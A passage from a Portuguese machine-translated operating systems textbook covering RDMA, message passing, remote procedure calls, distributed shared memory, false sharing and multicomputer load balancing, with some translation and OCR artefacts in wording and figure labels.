RDMA parece ótimo, mas tem suas desvantagens. Assim como normalmente 
DMA, o sistema operacional nos nós de comunicação deve fixar as páginas envolvidas na troca de dados. 
Além disso, basta colocar dados na memória de um computador remoto 
não reduzirá muito a latência se o outro programa não estiver ciente disso. Um RDMA bem-sucedido não 
vem automaticamente com uma notificação explícita. Em vez disso, um 
A solução comum é que um receptor pesquise um byte na memória. Quando a transferência é 
feito, o remetente modifica o byte para sinalizar ao receptor que há novos dados. 

Embora esta solução funcione, ela não é ideal e desperdiça ciclos de CPU. 

Para negociações de alta frequência realmente sérias, as placas de rede são personalizadas, 
muitas vezes usando matrizes de portas programáveis em campo. Eles têm latência fio a fio, de 
receber os bits na placa de rede para transmitir uma mensagem para comprar algo no valor de alguns 
milhões, em menos de um microssegundo. Comprando US$ 1 milhão em 
estoque em 1 segundo oferece um desempenho de 1 terabuck/seg, o que é bom se você conseguir 
os altos e baixos estão certos, mas não é para os fracos de coração. Os sistemas operacionais não 


desempenham um papel importante em ambientes tão extremos, já que todo o trabalho pesado é feito por 
hardware personalizado. 


8.2.3 Software de comunicação em nível de usuário 


Processos em diferentes CPUs em um multicomputador se comunicam enviando 
mensagens entre si. Na forma mais simples, esta passagem de mensagem é exposta a 
os processos do usuário. Em outras palavras, o sistema operacional fornece uma maneira de enviar 
e receber mensagens, e os procedimentos da biblioteca disponibilizam essas chamadas subjacentes 
aos processos do usuário. De uma forma mais sofisticada, a passagem real da mensagem é ocultada dos 
usuários, fazendo com que a comunicação remota pareça uma chamada de procedimento. Nós 
estudaremos ambos os métodos abaixo. 


Enviar e receber 


No mínimo, os serviços de comunicação fornecidos podem ser reduzidos 
a duas chamadas (biblioteca), uma para enviar mensagens e outra para recebê-las. O 


chamada para enviar uma mensagem pode ser 


enviar(destino, &mptr); 


e a chamada para receber uma mensagem pode ser 


receber(endereço, &mptr); 
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O primeiro envia a mensagem apontada por mptr para um processo identificado por dest e faz 
com que a chamada seja bloqueada até que a mensagem seja enviada. Este último faz com que 
a chamada seja bloqueada até que chegue uma mensagem. Quando isso acontece, a mensagem 
é copiada para o buffer apontado por mptr e a chamada é desbloqueada. O parâmetro addr 
especifica o endereço que o receptor está escutando. Muitas variantes destes dois procedimentos 
e seus parâmetros são possíveis. 

Uma questão é como o endereçamento é feito. Como os multicomputadores são estáticos, 
com o número de CPUs fixo, a maneira mais fácil de lidar com o endereçamento é tornar addr 
um endereço de duas partes que consiste em um número de CPU e um número de processo ou 
porta na CPU endereçada. Desta forma, cada CPU pode gerenciar seus próprios endereços sem 
potenciais conflitos. 


Chamadas com bloqueio versus chamadas sem bloqueio 


As chamadas descritas acima são chamadas de bloqueio (às vezes chamadas de 
chamadas síncronas). Quando um processo chama send, ele especifica um destino e um buffer 
para enviar para esse destino. Enquanto a mensagem está sendo enviada, o processo de envio 
fica bloqueado (ou seja, suspenso). A instrução que segue a chamada para enviar não é 
executada até que a mensagem tenha sido completamente enviada, como mostra a Figura 
8.19(a). Da mesma forma, uma chamada para receber não retorna o controle até que uma 
mensagem tenha sido realmente recebida e colocada no buffer de mensagens apontado pelo 
parâmetro. O processo permanece suspenso no recebimento até que uma mensagem chegue, 
mesmo que demore horas. Em alguns sistemas, o destinatário pode especificar de quem deseja 
receber, caso em que permanece bloqueado até que chegue uma mensagem desse remetente. 

Uma alternativa ao bloqueio de chamadas é o uso de chamadas sem bloqueio (às vezes 
chamadas de chamadas assíncronas). Se o envio não for bloqueador, ele retornará o controle 
ao chamado imediatamente, antes que a mensagem seja enviada. A vantagem deste esquema é 
que o processo de envio pode continuar computando em paralelo com a transmissão da 
mensagem, em vez de deixar a CPU ociosa (assumindo que nenhum outro processo possa ser 
executado). A escolha entre primitivas bloqueadoras e não bloqueadoras é normalmente feita 
pelos projetistas do sistema (ou seja, uma primitiva está disponível ou outra), embora em alguns 
sistemas ambas estejam disponíveis e os usuários possam escolher sua favorita. 

Contudo, a vantagem de desempenho oferecida pelas primitivas sem bloqueio é compensada 
por uma séria desvantagem para o programador: o remetente não deve modificar o buffer da 
mensagem até que a mensagem tenha sido enviada. As consequências do processo que substitui 
a mensagem durante a transmissão são horríveis demais para serem contempladas. 

Pior ainda, o processo de envio não tem ideia de quando a transmissão é concluída, de modo 
que o programador nunca sabe quando é seguro reutilizar o buffer. Dificilmente poderá evitar tocá- 
lo para sempre. 

Existem três saídas possíveis. A primeira solução é fazer com que o kernel copie a 
mensagem para um buffer interno do kernel e então permitir que o processo continue, como 
mostrado na Figura 8.19(b). Do ponto de vista do remetente, este esquema é igual ao 
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qm Remetente bloqueado — np 


Remetente em execução Remetente em execução 


Armadilha para o kernel, 
pi Retorno do kernel, remetente 


remetente bloqueado 
liberado 


m_m Mensagem sendo enviada i 


(a) 


Remetente 


bloqueado 


— > 


Remetente em execução Remetente em execução 
E 


Armadilha Retornar 


— + Mensagem sendo enviada — 


Mensagem 


copiada para um 


buffer do kernel 


(b) 


Figura 8-19. (a) Uma chamada de envio de bloqueio. (b) Uma chamada de envio sem bloqueio. 


uma chamada de bloqueio: assim que recuperar o controle, ele estará livre para reutilizar o buffer. 

É claro que a mensagem ainda não terá sido enviada, mas o remetente não fica prejudicado com 
esse fato. A desvantagem deste método é que cada mensagem enviada deve ser copiada do 
espaço do usuário para o espaço do kernel. Com muitas interfaces de rede, a mensagem terá que 
ser copiada posteriormente para um buffer de transmissão de hardware, de modo que a primeira 
cópia é essencialmente desperdiçada. A cópia extra pode reduzir consideravelmente o desempenho 
do sistema. 

A segunda solução é interromper (sinalizar) o remetente quando a mensagem for totalmente 
enviada para informá-lo de que o buffer está novamente disponível. Nenhuma cópia é necessária 
aqui, o que economiza tempo, mas as interrupções no nível do usuário tornam a programação 
complicada, difícil e sujeita a condições de corrida, o que as torna irreproduzíveis e quase 
impossíveis de depurar. 

A terceira solução é fazer a cópia do buffer na gravação, ou seja, marcá-la como somente 
leitura até que a mensagem seja enviada. Se o buffer for reutilizado antes da mensagem ser 
enviada, uma cópia será feita. O problema com esta solução é que, a menos que o buffer esteja 
isolado em sua própria página, as gravações em variáveis próximas também forçarão uma cópia. 
Além disso, é necessária administração extra porque o ato de enviar uma mensagem agora afeta 
implicitamente o status de leitura/gravação da página. Finalmente, mais cedo ou mais tarde é 
provável que a página seja escrita novamente, acionando uma cópia que pode não ser mais necessária. 

Assim, as escolhas do lado emissor são 
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1. Bloqueio de envio (CPU ociosa durante transmissão de mensagem). 


2. Envio sem bloqueio com cópia (tempo de CPU desperdiçado com a cópia extra). 


3. Envio sem bloqueio com interrupção (dificulta a programação). 


4. Cópia na gravação (uma cópia extra provavelmente será necessária eventualmente). 


Sob condições normais, a primeira escolha é a mais conveniente, especialmente se vários threads estiverem 
disponíveis, caso em que enquanto um thread está bloqueado tentando 

enviar, um ou mais outros threads podem continuar funcionando. Também não requer qualquer 

buffers de kernel a serem gerenciados. Além disso, como pode ser visto comparando 

Da Figura 8-19(a) à Figura 8-19(b), a mensagem geralmente sairá mais rápido se não houver 

é necessária uma cópia. 

Para registro, gostaríamos de salientar que alguns autores usam um critério diferente para distinguir 
primitivas síncronas de assíncronas. Na alternativa 
visualização, uma chamada é síncrona somente se o remetente for bloqueado até que a mensagem seja 
recebido e uma confirmação enviada de volta (Andrews, 1991). No mundo de 
comunicação em tempo real, síncrona tem ainda outro significado, que pode levar a 
confusão, infelizmente. 

Assim como o envio pode ser bloqueador ou não bloqueador, o recebimento também pode. Uma chamada de bloqueio 
apenas suspende o chamador até que uma mensagem chegue. Se vários threads estiverem disponíveis, esta é 
uma abordagem simples. Alternativamente, um recebimento sem bloqueio apenas informa ao 
kernel onde está o buffer e retorna o controle quase imediatamente. Uma interrupção 
pode ser usado para sinalizar que uma mensagem chegou. No entanto, as interrupções são difíceis 
para programar e também são bastante lentos, por isso pode ser preferível que o receptor pesquise 
para mensagens recebidas usando um procedimento, poll, que informa se alguma mensagem está 
esperando. Nesse caso, o chamado pode chamar get message, que retorna a primeira mensagem recebida. 
Em alguns sistemas, o compilador pode inserir chamadas de votação no código no momento apropriado. 
lugares, embora saber com que frequência votar seja complicado. 

Ainda outra opção é um esquema em que a chegada de uma mensagem provoca uma nova 
thread a ser criada espontaneamente no espaço de endereço do processo receptor. Tal 
thread é chamado de thread pop-up. Ele executa um procedimento especificado antecipadamente e 
cujo parâmetro é um ponteiro para a mensagem recebida. Depois de processar a mensagem, ela simplesmente 
sai e é automaticamente destruída. 

Uma variante dessa idéia é executar o código receptor diretamente no manipulador de interrupções, sem 
se dar ao trabalho de criar um thread pop-up. Para fazer este esquema 
ainda mais rápido, a própria mensagem contém o endereço do manipulador, portanto, quando uma mensagem 
chega, o manipulador pode ser cnamado em algumas instruções. A grande vitória aqui é 
que nenhuma cópia é necessária. O manipulador pega a mensagem da interface 
bordo e processa-o em tempo real. Este esquema é chamado de mensagens ativas (Von 
Eicken et al., 1992). Como cada mensagem contém o endereço do manipulador, 


mensagens ativas funcionam apenas quando remetentes e destinatários confiam completamente uns nos outros. 
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8.2.4 Chamada de Procedimento Remoto 


Embora o modelo de passagem de mensagens forneça uma maneira conveniente de estruturar um 
sistema operacional multicomputador, ele sofre de uma falha incurável: o paradigma básico em torno do 
qual toda comunicação é construída é a entrada/saída. Os procedimentos de envio e recebimento estão 
fundamentalmente envolvidos na execução de E/S, e muitas pessoas acreditam que E/S é o modelo de 
programação errado. 

Este problema é conhecido há muito tempo, mas pouco foi feito sobre ele até que um artigo de Birrell 
e Nelson (1984) introduziu uma forma completamente diferente de atacar o problema. Embora a ideia seja 
agradavelmente simples (uma vez que alguém tenha pensado nela), as implicações são muitas vezes 
subtis. Nesta seção examinaremos o conceito, sua implementação, seus pontos fortes e fracos. 


Resumindo, o que Birrell e Nelson sugeriram foi permitir que programas chamassem procedimentos 
localizados em outras CPUs. Quando um processo na máquina 1 chama um procedimento na máquina 
2, O processo chamador em 1 é suspenso e a execução do procedimento chamado ocorre em 2. As 
informações podem ser transportadas do chamado para o chamado nos parâmetros e podem vir de volta 
ao resultado do procedimento. Nenhuma passagem de mensagem ou E/S é visível para o programador. 
Essa técnica é conhecida como RPC (Remote Procedure Call) e se tornou a base de uma grande 
quantidade de software para multicomputadores. Tradicionalmente, o procedimento chamador é conhecido 
como cliente e o procedimento chamado é conhecido como servidor; usaremos esses nomes aqui também. 


A idéia por trás do RPC é fazer com que uma chamada de procedimento remoto se pareça tanto 
quanto possível com uma chamada local. Na forma mais simples, para chamar um procedimento remoto, 
o programa cliente deve estar vinculado a uma pequena biblioteca de procedimentos chamada stub do 
cliente , que representa o procedimento do servidor no espaço de endereço do cliente. Da mesma forma, 
o servidor está vinculado a um procedimento chamado stub do servidor. Esses procedimentos escondem 
o fato de que a chamada de procedimento do cliente para o servidor não é local. 

As etapas reais para fazer um RPC são mostradas na Figura 8.20. A etapa 1 é o cliente chamando 
o stub do cliente. Esta chamada é uma chamada de procedimento local, com os parâmetros colocados na 
pilha da maneira normal. A etapa 2 é o stub do cliente empacotando os parâmetros em uma mensagem e 
fazendo uma chamada de sistema para enviar a mensagem. O empacotamento dos parâmetros é 
chamado de marshaling. A etapa 3 é o kernel enviando a mensagem da máquina cliente para a máquina 
servidora. A etapa 4 é o kernel passando o pacote de entrada para o stub do servidor (que normalmente 
teria chamado de recebimento anteriormente). Finalmente, a etapa 5 é o stub do servidor que chama o 
procedimento do servidor. A resposta traça o mesmo caminho na outra direção. 


O principal item a ser observado aqui é que o procedimento do cliente, escrito pelo usuário, apenas 
faz uma chamada de procedimento normal (local) para o stub do cliente, que tem o mesmo nome do 
procedimento do servidor. Como o procedimento do cliente e o stub do cliente estão no mesmo espaço 
de endereço, os parâmetros são passados da maneira usual. Da mesma forma, o procedimento do 
servidor é chamado por um procedimento em seu espaço de endereço com os parâmetros esperados. 
Para o procedimento do servidor, nada é estranho. Dessa forma, em vez de realizar E/S usando envio e 
recebimento, a comunicação remota é feita falsificando uma chamada de procedimento. 
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CPU do cliente CPU do servidor 


Esboço Esboço de 


do cliente servidor 


Sistema operacional Sistema operacional 


Rede 


Figura 8-20. Etapas para fazer uma chamada de procedimento remoto. Os tocos estão sombreados. 


Problemas de implementação 


Apesar da elegância conceitual do RPC, existem algumas cobras escondidas sob a grama. Um 
grande problema é o uso de parâmetros de ponteiro. Normalmente, passar um ponteiro para um 
procedimento não é um problema. O procedimento chamado pode usar o ponteiro da mesma forma 
que o chamador, porque os dois procedimentos residem no mesmo espaço de endereço virtual. Com 
o RPC, a passagem de ponteiros é impossível porque o cliente e o servidor estão em espaços de 
endereço diferentes. 

Em alguns casos, truques podem ser usados para possibilitar a passagem de ponteiros. Suponha 
que o primeiro parâmetro seja um ponteiro para um número inteiro, k. O stub do cliente pode empacotar 
ke enviá-lo ao servidor. O stub do servidor então cria um ponteiro para k e o passa para o procedimento 
do servidor, exatamente como esperado. Quando o procedimento do servidor retorna o controle ao 
stub do servidor, este envia k de volta ao cliente, onde o novo k é copiado sobre o antigo, caso o 
servidor o altere. Com efeito, a sequência de chamada padrão de chamada por referência foi 
substituída pela restauração de cópia. 

Infelizmente, esse truque nem sempre funciona, por exemplo, se o ponteiro apontar para um gráfico 
ou outra estrutura de dados complexa. Por esta razão, algumas restrições devem ser colocadas nos 
parâmetros dos procedimentos chamados remotamente. Sim, é fácil construir casos em que o RPC 
falha gravemente, mas os programadores que o utilizam não querem que ele falhe, portanto evitam os 
casos em que ele pode falhar. 

Um segundo problema é que em linguagens de tipo fraco, como C, é perfeitamente legal escrever 
um procedimento que calcule o produto interno de dois vetores (matrizes), sem especificar o tamanho 
de cada um deles. Cada um poderia ser finalizado por um valor especial conhecido apenas pelos 
procedimentos chamadores e chamadores. Nessas circunstâncias, é essencialmente impossível para 
o stub do cliente organizar os parâmetros: ele não tem como determinar o tamanho deles. 


Um terceiro problema é que nem sempre é possível deduzir os tipos dos parâmetros, nem mesmo 
a partir de uma especificação formal ou do próprio código. Um exemplo é 
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printf, que pode ter qualquer número de parâmetros (pelo menos um), e pode ser uma 
mistura arbitrária de números inteiros, curtos, longos, caracteres, strings, números de ponto 
flutuante de vários comprimentos e outros tipos. Tentar chamar printf como um procedimento 
remoto seria praticamente impossível porque C é muito permissivo. Entretanto, uma regra 
dizendo que RPC pode ser usado desde que você não programe em C (ou C++) não seria 
popular. 

Um quarto problema diz respeito ao uso de variáveis globais. Normalmente, os 
procedimentos chamadores e chamados podem se comunicar utilizando variáveis globais, 
além de se comunicarem via parâmetros. Se o procedimento chamado for movido para uma 
máquina remota, o código falhará porque as variáveis globais não serão mais compartilhadas. 

Esses problemas não pretendem sugerir que o RPC seja impossível. Na verdade, é 
bastante utilizado, mas são necessárias algumas restrições e cuidados para que funcione 
bem na prática. 


8.2.5 Memória Compartilhada Distribuída 


Embora o RPC tenha seus atrativos, muitos programadores ainda preferem um modelo 
de memória compartilhada e gostariam de utilizá-lo, mesmo em um multicomputador. 
Surpreendentemente, é possível preservar razoavelmente bem a ilusão de memória 
compartilhada, mesmo quando ela realmente não existe, usando uma técnica chamada DSM 
(Distributed Shared Memory) (Li, 1986; e Lie Hudak, 1989). Apesar de ser um tema antigo, 
as pesquisas sobre o assunto ainda continuam fortes (Ruan et al., 2020; e Wang et al., 
2021). O DSM é uma técnica útil para estudar, pois mostra muitos dos problemas e 
complicações em sistemas distribuídos. Além disso, a ideia em si tem sido muito influente. 
Com o DSM, cada página está localizada em uma das memórias da Figura 8.1(b). Cada 
máquina possui sua própria memória virtual e tabelas de páginas. Quando uma CPU faz um 
LOAD ou STORE em uma página que não possui, ocorre uma interceptação no sistema 
operacional. O sistema operacional então localiza a página e solicita à CPU que a mantém 
atualmente para desmapear a página e enviá-la pela rede de interconexão. Quando chega, 
a página é mapeada e a instrução com falha é reiniciada. Na verdade, o sistema operacional 
está apenas satisfazendo falhas de página da RAM remota em vez de do disco local. Para o 
usuário, a máquina parece ter memória compartilhada. 

A diferença entre a memória compartilhada real e o DSM é ilustrada na Figura 8.21. Na 
Figura 8.21 (a), vemos um verdadeiro multiprocessador com memória física compartilhada 
implementada pelo hardware. Na Figura 8.21 (b), vemos o DSM, implementado pelo sistema 
operacional. Na Figura 8.21(c), vemos ainda outra forma de memória compartilhada, 
implementada por níveis de software ainda mais elevados. Voltaremos a esta terceira opção 
mais adiante neste capítulo, mas por enquanto nos concentraremos no DSM. 

Vejamos agora com alguns detalhes como funciona o DSM. Num sistema DSM, o 
espaço de endereço é dividido em páginas, com as páginas espalhadas por todos os nós do 
sistema. Quando uma CPU faz referência a um endereço que não é local, ocorre um trap e 
o software DSM busca a página que contém o endereço e reinicia a instrução com falha, 
que agora é concluída com sucesso. Este conceito é mostrado 
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Máquina 1 Máquina 2 Máquina 1 Máquina 2 Máquina 1 Máquina 2 


Aplicativo Aplicativo Aplicativo Aplicativo Aplicativo Aplicativo 


Sistema de tempo Sistema de tempo Sistema de tempo Sistema de tempo Sistema de tempo Sistema de tempo 


de execução de execução de execução de execução de execução de execução 


Sistema Sistema Sistema Sistema Sistema Sistema 
operacional operacional operacional operacional operacional operacional 


Hardware Hardware Hardware Hardware Hardware Hardware 


Memoria compartilhada Memoria compartilhada Memoria compartilhada 


(a) (b) (c) 


Figura 8-21. Várias camadas onde a memória compartilhada pode ser implementada. (a) O 
hardware. (b) O sistema operacional. (c) Software de nível de usuário. 


na Figura 8.22(a) para um espaço de endereço com 16 páginas e 4 nós, cada um deles capaz de 
conter 6 páginas. 

Neste exemplo, se a CPU 0 fizer referência a instruções ou dados nas páginas 0, 2, 5 ou 9, as 
referências serão feitas localmente. Referências a outras páginas causam armadilhas. Por exemplo, 
uma referência a um endereço na página 10 causará uma interceptação no software DSM, que então 
moverá a página 10 do nó 1 para o nó 0, como mostrado na Figura 8.22(b). 


Replicação 


Uma melhoria no sistema básico que pode melhorar consideravelmente o desempenho é replicar 
páginas que são somente leitura, por exemplo, texto de programa, constantes somente leitura ou outras 
estruturas de dados somente leitura. Por exemplo, se a página 10 na Fig. 8-22 for uma seção de texto 
de programa, seu uso pela CPU 0 pode resultar no envio de uma cópia para a CPU 0 sem que o original 
na memória da CPU 1 seja invalidado ou perturbado, como mostrado na Fig. 8-22(c). Dessa forma, as 
CPUs 0 e 1 podem fazer referência à página 10 quantas vezes forem necessárias, sem causar 
armadilhas para buscar memória perdida. 

Outra possibilidade é replicar não apenas páginas somente leitura, mas também todas as páginas. 
Enquanto as leituras estiverem sendo feitas, não há efetivamente nenhuma diferença entre replicar 
uma página somente leitura e replicar uma página de leitura e gravação. No entanto, se uma replicação 
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Memória virtual compartilhada globalmente composta por 16 páginas 


Memória 


Rede 


(c) 
Figura 8-22. (a) Páginas do espaço de endereço distribuídas entre quatro máquinas. (b) 
Situação após a CPU 0 referenciar a página 10 e a página ser movida para lá. (c) 
Situação se a página 10 for somente leitura e a replicação for usada. 


página for modificada repentinamente, ações especiais deverão ser tomadas para evitar a existência de 
cópias múltiplas e inconsistentes. Como a inconsistência é evitada será discutida nas seções seguintes. 


Compartilhamento falso 


Os sistemas DSM são semelhantes aos multiprocessadores em alguns aspectos importantes. Em 
ambos os sistemas, quando uma palavra de memória não local é referenciada, um pedaço de memória 
contendo a palavra é buscado em sua localização atual e colocado na máquina, fazendo a operação. 
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referência (memória principal ou cache, respectivamente). Uma questão importante de design é 
qual deve ser o tamanho do pedaço. Em multiprocessadores, o tamanho do bloco de cache é 
geralmente de 32 ou 64 bytes, para evitar que o barramento fique muito longo com a transferência. 
Nos sistemas DSM, a unidade deve ser um múltiplo do tamanho da página (porque o MMU 
funciona com páginas), mas pode ser 1, 2, 4 ou mais páginas. Na verdade, isso simula um tamanho 
de página maior. 

Existem vantagens e desvantagens em um tamanho de página maior para o DSM. A maior 
vantagem é que, como o tempo de inicialização para uma transferência de rede é bastante 
substancial, não leva muito mais tempo para transferir 4.096 bytes do que para transferir 1.024 
bytes. Ao transferir dados em grandes unidades, quando uma grande parte do espaço de endereço 
precisa ser movida, o número de transferências pode muitas vezes ser reduzido. Esta propriedade 
é especialmente importante porque muitos programas exibem localidade de referência, o que 
significa que se um programa tiver referenciado uma palavra em uma página, é provável que faça 
referência a outras palavras na mesma página no futuro imediato. 

Por outro lado, a rede ficará amarrada por mais tempo com uma transferência maior, 
bloqueando outras falhas causadas por outros processos. Além disso, um tamanho efetivo de 
página muito grande introduz um novo problema, chamado falso compartilhamento, ilustrado na 
Figura 8.23. Aqui temos uma página contendo duas variáveis compartilhadas não relacionadas, A 
e B. O processador 1 faz uso intenso de A, lendo-o e escrevendo-o. Da mesma forma, o processo 
2 utiliza B frequentemente. Nessas circunstâncias, a página que contém ambas as variáveis estará 
constantemente viajando entre as duas máquinas. 


CPU 1 CPU 2 


A e B são variáveis 


Página compartilhadas não 


compartilhada relacionadas que estão na mesma página 


Código o = 
usando variável / usando variável B 


Rede 
Figura 8-23. Falso compartilhamento de uma página contendo duas variáveis não relacionadas. 


O problema aqui é que embora as variáveis não estejam relacionadas, elas aparecem por 
acidente na mesma página, então quando um processo utiliza uma delas, ele também obtém a 
outra. Quanto maior o tamanho efetivo da página, mais frequentemente ocorrerá o falso 
compartilhamento e, inversamente, quanto menor o tamanho efetivo da página, menos frequentemente ocorrerá. 
Nada análogo a esse fenômeno está presente em sistemas comuns de memória virtual. 


Compiladores inteligentes que entendem o problema e colocam variáveis no espaço de 
endereço adequadamente podem ajudar a reduzir o compartilhamento falso e melhorar o desempenho. 
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No entanto, dizer isso é mais fácil do que fazer. Além disso, se o falso compartilhamento consistir no nó 
1 usando um elemento de uma matriz e no nó 2 usando um elemento diferente 

do mesmo array, há pouco que mesmo um compilador inteligente possa fazer para eliminar o 
problema. 


Alcançando consistência sequencial 


Se as páginas graváveis não forem replicadas, alcançar consistência não será um problema. 
Há exatamente uma cópia de cada página gravável e ela é movida para frente e para trás 
dinamicamente conforme necessário. Como nem sempre é possível prever antecipadamente quais 
páginas são graváveis, em muitos sistemas DSM, quando um processo tenta ler um arquivo remoto 
página, uma cópia local é feita e as cópias locais e remotas são configuradas em seus 
respectivos MMUs como somente leitura. Desde que todas as referências sejam lidas, tudo é 
multar. 

No entanto, se algum processo tentar escrever numa página replicada, surge um potencial problema 
de consistência porque alterar uma cópia e deixar as outras em paz é 
inaceitável. Esta situação é análoga ao que acontece em um multiprocessador 
quando uma CPU tenta modificar uma palavra que está presente em vários caches. O 
solução existe para a CPU prestes a fazer a gravação para primeiro colocar um sinal no barramento 
dizendo a todas as outras CPUs para descartarem sua cópia do bloco de cache. Os sistemas DSM normalmente 
funcionam da mesma maneira. Antes que uma página compartilhada possa ser escrita, uma mensagem é enviada para 
todas as outras CPUs que possuem uma cópia da página dizendo-lhes para desmapear e descartar o 
página. Depois que todos eles responderam que o desmapeamento foi concluído, a CPU original 
agora pode fazer a gravação. 

Também é possível tolerar múltiplas cópias de páginas graváveis sob cuidadosa 
circunstâncias restritas. Uma maneira é permitir que um processo adquira um bloqueio em uma parte do 
espaço de endereço virtual e, em seguida, execute múltiplas operações de leitura e gravação na memória 
bloqueada. No momento em que o bloqueio é liberado, as alterações podem ser propagadas para outras 
cópias. Desde que apenas uma CPU possa bloquear uma página em um determinado momento, esse 
esquema preserva a consistência. 

Alternativamente, quando uma página potencialmente gravável é realmente escrita pela primeira vez 
vez, uma cópia limpa é feita e salva na CPU que faz a gravação. Bloqueios no 
a página pode então ser adquirida, a página atualizada e os bloqueios liberados. Mais tarde, quando um 
processo em uma máquina remota tenta adquirir um bloqueio na página, a CPU que 
escrevi anteriormente compara o estado atual da página com a cópia limpa e constrói 
uma mensagem listando todas as palavras que foram alteradas. Esta lista é então enviada para o 
adquirir CPU para atualizar sua cópia em vez de invalidá-la (Keleher et al., 1994). 


8.2.6 Agendamento Multicomputador 
Num multiprocessador, todos os processos residem na mesma memória. Quando uma CPU 


termina sua tarefa atual, escolhe um processo e o executa. Em princípio, todos os processos 
são potenciais candidatos. Em um multicomputador a situação é bem diferente. Cada 
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O nó possui sua própria memória e seu próprio conjunto de processos. A CPU 1 não pode decidir 
repentinamente executar um processo localizado no nó 4 sem primeiro trabalhar bastante para obtê-lo. 
Esta diferença significa que o escalonamento em multicomputadores é mais fácil, mas a alocação de 
processos aos nós é mais importante. A seguir estudaremos essas questões. 


O escalonamento multicomputador é um tanto semelhante ao escalonamento multiprocessador, 
mas nem todos os algoritmos do primeiro se aplicam ao último. O algoritmo multiprocessador mais 
simples — mantendo uma única lista central de processos prontos — não funciona, entretanto, uma vez 
que cada processo só pode ser executado na CPU em que está atualmente localizado. 

Porém, quando um novo processo é criado, pode-se escolher onde colocá-lo, por exemplo, para 
equilibrar a carga. 

Como cada nó possui seus próprios processos, qualquer algoritmo de escalonamento local pode 
ser usado. No entanto, também é possível usar o escalonamento coletivo de multiprocessadores, uma 
vez que isso requer apenas um acordo inicial sobre qual processo será executado em qual intervalo de 
tempo e alguma forma de coordenar o início dos intervalos de tempo. 


8.2.7 Balanceamento de Carga 


Há relativamente pouco a dizer sobre escalonamento multicomputador porque, uma vez atribuído 
um processo a um nó, qualquer algoritmo de escalonamento local servirá, a menos que o escalonamento 
coletivo esteja sendo usado. No entanto, precisamente porque há tão pouco controle depois que um 
processo é atribuído a um nó, a decisão sobre qual processo deve ser executado em qual nó é 
importante. Isso contrasta com os sistemas multiprocessadores, nos quais todos os processos residem 
na mesma memória e podem ser escalonados em qualquer CPU à vontade. Consequentemente, vale 
a pena observar como os processos podem ser atribuídos aos nós de maneira eficaz. Os algoritmos e 
heurísticas para fazer esta atribuição são conhecidos como algoritmos de alocação de processador. 


Um grande número de algoritmos de alocação de processadores (ou seja, nós) foi proposto ao 
longo dos anos. Eles diferem no que presumem ser conhecido e qual é o objetivo. As propriedades que 
podem ser conhecidas sobre um processo incluem os requisitos de CPU, o uso de memória e a 
quantidade de comunicação com todos os outros processos. Os objetivos possíveis incluem minimizar 
ciclos de CPU desperdiçados devido à falta de trabalho local, minimizar a largura de banda total de 
comunicação e garantir justiça para usuários e processos. 

A seguir examinaremos alguns algoritmos para dar uma ideia do que é possível. 


Um algoritmo determinístico teórico de grafos 


Uma classe de algoritmos amplamente estudada é para sistemas que consistem em processos 
com requisitos conhecidos de CPU e memória, e uma matriz conhecida que fornece a quantidade 
média de tráfego entre cada par de processos. Se o número de processos for maior que o número de 
CPUs, k, vários processos deverão ser atribuídos a cada CPU. A ideia é realizar esta atribuição para 
minimizar o tráfego de rede. 

O sistema pode ser representado como um grafo ponderado, com cada vértice sendo um processo 
e cada arco representando o fluxo de mensagens entre dois processos. 
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Matematicamente, o problema então se reduz a encontrar uma maneira de particionar (ou seja, cortar) 
o gráfico em k subgrafos disjuntos, sujeito a certas restrições (por exemplo, CPU total 

e requisitos de memória abaixo de alguns limites para cada subgráfico). Para cada solução que 
atenda às restrições, os arcos que estão inteiramente dentro de um único subgráfico representam 
comunicação intramáquina e podem ser ignorados. Arcos que vão de um 

subgráfico para outro representa o tráfego de rede. O objetivo é então encontrar o particionamento 
que minimize o tráfego da rede e ao mesmo tempo atenda a todas as restrições. Como um 

Por exemplo, a Figura 8-24 mostra um sistema de nove processos, de A a |, com cada arco 

rotulado com a carga média de comunicação entre esses dois processos (por exemplo, em 

Mbps). 


Tráfego 
entre 
Deeu 


Processo 


Figura 8-24. Duas maneiras de alocar nove processos em três nós. 


Na Figura 8.24(a), particionamos o gráfico com os processos A, Ee Gem 
nó 1, processa B, Fe H no nó 2 e processa C, De / no nó 3. O 
o tráfego total da rede é a soma dos arcos intersectados pelos cortes (o tracejado 
linhas), ou 30 unidades. Na Figura 8.24(b), temos um particionamento diferente que possui apenas 28 
unidades de tráfego de rede. Supondo que atenda a todas as restrições de memória e CPU, esta é 
uma escolha melhor porque requer menos comunicação. 

Intuitivamente, o que estamos fazendo é procurar clusters fortemente acoplados 
(alto fluxo de tráfego intracluster), mas que interagem pouco com outros clusters (baixo fluxo de 
tráfego entre clusters). O trabalho sobre esse problema vem acontecendo há mais de 40 anos. 
Alguns dos primeiros artigos que discutem o problema são Chow e Abraham (1982), 
Lo (1984) e Stone e Bokhari (1978). 


Um algoritmo heurístico distribuído iniciado pelo remetente 


Agora vamos dar uma olhada em alguns algoritmos distribuídos. Um algoritmo diz que quando 
um processo é criado, ele é executado no nó que o criou, a menos que esse nó esteja sobrecarregado. 
A métrica para sobrecarga pode envolver muitos processos, um total muito grande 
conjunto de trabalho ou alguma outra métrica. Se estiver sobrecarregado, o nó seleciona outro 
nó aleatoriamente e pergunta qual é sua carga (usando a mesma métrica). Se o sondado 
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a carga do nó está abaixo de algum valor limite, o novo processo é enviado para lá (Eager et 

al., 1986). Caso contrário, outra máquina é escolhida para apalpação. A sondagem não continua 

para sempre. Se nenhum host adequado for encontrado em N sondas, o algoritmo termina e 

o processo é executado na máquina de origem. A ideia é para nós muito carregados 

para tentar se livrar do excesso de trabalho, como mostrado na Figura 8.25(a), que ilustra o balanceamento de 
carga iniciado por send er. 


Estou entediado 
4— 


(b) 


Figura 8-25. (a) Um nó sobrecarregado procurando um nó levemente carregado à mão 
fora dos processos para. (b) Um nó vazio procurando trabalho para fazer. 


Ansioso et al. construiu um modelo analítico de filas deste algoritmo. Usando 
Neste modelo, foi estabelecido que o algoritmo se comporta bem e é estável sob um 
ampla gama de parâmetros, incluindo vários valores limite, custos de transferência e 
limites da sonda. 

No entanto, deve-se observar que sob condições de carga pesada, todos 
máquinas enviarão constantemente sondagens para outras máquinas em uma tentativa fútil de encontrar 
aquele que está disposto a aceitar mais trabalho. Poucos processos serão descarregados, mas uma sobrecarga 
considerável pode ocorrer na tentativa de fazê-lo. 


Um algoritmo heurístico distribuído iniciado pelo receptor 


Um algoritmo complementar ao discutido acima, que é iniciado por 
um remetente sobrecarregado, é aquele iniciado por um receptor subcarregado, como mostrado em 
